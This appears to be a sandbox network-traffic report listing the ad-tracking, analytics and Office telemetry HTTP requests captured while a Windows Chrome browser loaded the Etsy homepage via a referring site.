Source: global traffic	HTTP traffic detected: GET /user/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1731004359437&dep=2%2CPAGE_LOAD HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.etsy.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004359443&dep=5%2CEVENT_TAGS_ABSENT HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.etsy.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1731004359448 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.etsy.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAttribution-Reporting-Eligible: not-event-source, triggerReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/995917074?random=1731004358973&cv=11&fst=1731004358973&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr?uuid=1731004351&id=297472060462208&ev=PageView&ud[em]=%27%27%22&fbp=undefined&fbc=undefined HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr?uuid=1731004351&id=114623403312281&ev=PageView&ud[em]=%27%27%22&cd[page_path]=null&cd[detected_region]=US&fbp=undefined&fbc=undefined HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /action/0?ti=4020083&tm=gtm002&Ver=2&mid=5d25fe5c-4a05-48bd-982c-804d566cbbc5&bo=1&sid=ab0716809d3611ef84b73de6d4833770&vid=ab0789a09d3611efaf1a55c12757f2c8&vids=1&msclkid=N&uach=pv%3D10.0.0&pi=918639831&lg=en-US&sw=1280&sh=1024&sc=24&tl=Etsy%20-%20Shop%20for%20handmade,%20vintage,%20custom,%20and%20unique%20gifts%20for%20everyone&p=https%3A%2F%2Fwww.etsy.com%2F&r=https%3A%2F%2Frh.capriciou.com%2F&lt=5706&evt=pageLoad&sv=1&cdb=AQAA&rn=672996 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /action/0?ti=4020083&tm=gtm002&Ver=2&mid=5d25fe5c-4a05-48bd-982c-804d566cbbc5&bo=2&sid=ab0716809d3611ef84b73de6d4833770&vid=ab0789a09d3611efaf1a55c12757f2c8&vids=0&msclkid=N&pagetype=home&en=Y&p=https%3A%2F%2Fwww.etsy.com%2F&sw=1280&sh=1024&sc=24&evt=custom&cdb=AQAA&rn=440021 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CJO5m-DtyokDFfSBgwcdrFAmhw;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 8666735.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CK6snODtyokDFRmggwcdd_cJTQ;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 9910951.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /.well-known/web-identity HTTP/1.1Host: google.comConnection: keep-aliveAccept: application/jsonSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: webidentityUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/995917074/?random=1731004358973&cv=11&fst=1731004358973&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CLiMnODtyokDFWePgwcd3HorjA;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: 8666735.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/658194373/?random=662406569&cv=11&fst=1731004357425&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjCybECCNPFsQIiAQE4AUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&eitems=ChEIgOexuQYQ-cTFouuT65_xARIdACE_A3oknhBQqv0OfP5Ex8YXVEx4P8AHSliBlfo&pscrd=CL6DgNaKoPbtvAEiEwjQpZzg7cqJAxUPl4MHHffsOvwyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6FWh0dHBzOi8vd3d3LmV0c3kuY29tL0JXQ2hBSWdPZXh1UVlRa2NiUHRkR3J2dWwtRWkwQTdpTzVrYk9hVnpZb0NqRm11SHVPci1yYmJCTng0NlRtTFdONDJfbDdrQWMzc2pLM2tNMHRDMzUzUVZZ HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /track.php?fingerprint=57f356de-9b4c-43dc-a7e2-f15cef29a072&referrer=https%3A%2F%2Frh.capriciou.com%2F&landingpage=https%3A%2F%2Fwww.etsy.com%2F&useragent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&site=6220 HTTP/1.1Host: lantern.roeye.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004360780&dep=5%2CEVENT_TAGS_ABSENT&pd=%7B%22np%22%3A%22gtm%22%7D&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.etsy.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAttribution-Reporting-Eligible: not-event-source, trigger=navigation-sourceReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=29A2844C5A8A6ECB33FB917C5BDD6F02; MR=0
Source: global traffic	HTTP traffic detected: GET /ct/lib/main.be180668.js HTTP/1.1Host: s.pinimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6220.js HTTP/1.1Host: www.dwin1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004359443&dep=5%2CEVENT_TAGS_ABSENT HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /user/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1731004359437&dep=2%2CPAGE_LOAD HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1731004359448 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1
Source: global traffic	HTTP traffic detected: GET /ping.min.js HTTP/1.1Host: cdn.pdst.fmConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ingest HTTP/1.1Host: pixels.spotify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
